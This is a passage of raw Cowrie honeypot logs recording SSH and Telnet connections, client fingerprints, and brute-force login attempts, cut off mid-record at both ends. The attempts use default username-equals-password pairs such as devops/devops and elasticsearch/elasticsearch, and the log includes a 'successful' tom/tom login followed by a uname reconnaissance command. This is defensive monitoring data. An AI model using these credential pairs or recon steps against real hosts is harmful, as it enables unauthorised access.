0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:16:52.658112Z","src_ip":"47.86.95.62","session":"fe799d737744","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.170","src_port":60704,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9379ccebe24","protocol":"ssh","message":"New connection: 198.235.24.170:60704 (159.203.135.109:22) [session: c9379ccebe24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:16:54.000357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:16:55.041475Z","src_ip":"198.235.24.170","session":"c9379ccebe24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:16:56.150070Z","src_ip":"198.235.24.170","session":"c9379ccebe24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:17:03.867271Z","src_ip":"198.235.24.170","session":"c9379ccebe24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:17:04.913650Z","src_ip":"47.86.95.62","session":"fe799d737744","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.5","message":"Connection lost after 20.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:17:12.953754Z","src_ip":"47.86.95.62","session":"fe799d737744","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":37696,"dst_ip":"10.17.0.5","dst_port":22,"session":"f52ade5012b9","protocol":"ssh","message":"New connection: 47.86.95.62:37696 (10.17.0.5:22) [session: f52ade5012b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:17:24.895628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:17:24.930164Z","src_ip":"47.86.95.62","session":"f52ade5012b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:17:25.128348Z","src_ip":"47.86.95.62","session":"f52ade5012b9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:17:26.194340Z","src_ip":"47.86.95.62","session":"f52ade5012b9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:17:26.641962Z","src_ip":"47.86.95.62","session":"f52ade5012b9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:17:26.644585Z","src_ip":"47.86.95.62","session":"f52ade5012b9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:17:27.041316Z","src_ip":"47.86.95.62","session":"f52ade5012b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:17:27.486565Z","src_ip":"47.86.95.62","session":"f52ade5012b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":40414,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6434f5766ec","protocol":"ssh","message":"New connection: 47.86.95.62:40414 (10.17.0.5:22) [session: f6434f5766ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:17:31.090535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:17:31.095997Z","src_ip":"47.86.95.62","session":"f6434f5766ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:17:31.309037Z","src_ip":"47.86.95.62","session":"f6434f5766ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:17:31.948632Z","src_ip":"47.86.95.62","session":"f6434f5766ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:17:33.164663Z","src_ip":"47.86.95.62","session":"f6434f5766ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":43692,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1166df5fb8c","protocol":"ssh","message":"New connection: 47.86.95.62:43692 (10.17.0.5:22) [session: d1166df5fb8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:17:54.578090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:17:54.585574Z","src_ip":"47.86.95.62","session":"d1166df5fb8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:17:54.835618Z","src_ip":"47.86.95.62","session":"d1166df5fb8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:17:55.546829Z","src_ip":"47.86.95.62","session":"d1166df5fb8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:17:56.754921Z","src_ip":"47.86.95.62","session":"d1166df5fb8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":43698,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e8bf4ee609e","protocol":"ssh","message":"New connection: 47.86.95.62:43698 (10.17.0.5:22) [session: 9e8bf4ee609e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:17:59.914406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:17:59.918608Z","src_ip":"47.86.95.62","session":"9e8bf4ee609e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:18:00.127155Z","src_ip":"47.86.95.62","session":"9e8bf4ee609e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:18:00.756519Z","src_ip":"47.86.95.62","session":"9e8bf4ee609e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:18:01.971966Z","src_ip":"47.86.95.62","session":"9e8bf4ee609e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.217.149.48","src_port":55832,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e8c8bffc7e9","protocol":"telnet","message":"New connection: 85.217.149.48:55832 (10.17.0.5:23) [session: 9e8c8bffc7e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:18:12.685671Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":33716,"dst_ip":"10.17.0.5","dst_port":22,"session":"5956e30d1706","protocol":"ssh","message":"New connection: 47.86.95.62:33716 (10.17.0.5:22) [session: 5956e30d1706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:18:32.287604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:18:32.486620Z","src_ip":"47.86.95.62","session":"5956e30d1706","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:18:32.589363Z","src_ip":"47.86.95.62","session":"5956e30d1706","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:18:33.495740Z","src_ip":"47.86.95.62","session":"5956e30d1706","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:18:34.710320Z","src_ip":"47.86.95.62","session":"5956e30d1706","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":33732,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bf041478024","protocol":"ssh","message":"New connection: 47.86.95.62:33732 (10.17.0.5:22) [session: 0bf041478024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:18:37.571420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:18:37.622837Z","src_ip":"47.86.95.62","session":"0bf041478024","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:18:37.777238Z","src_ip":"47.86.95.62","session":"0bf041478024","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:18:38.584277Z","src_ip":"47.86.95.62","session":"0bf041478024","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:18:39.792969Z","src_ip":"47.86.95.62","session":"0bf041478024","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":55598,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e727c6fc675","protocol":"ssh","message":"New connection: 47.86.95.62:55598 (10.17.0.5:22) [session: 0e727c6fc675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:18:42.241935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:18:42.247144Z","src_ip":"47.86.95.62","session":"0e727c6fc675","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","a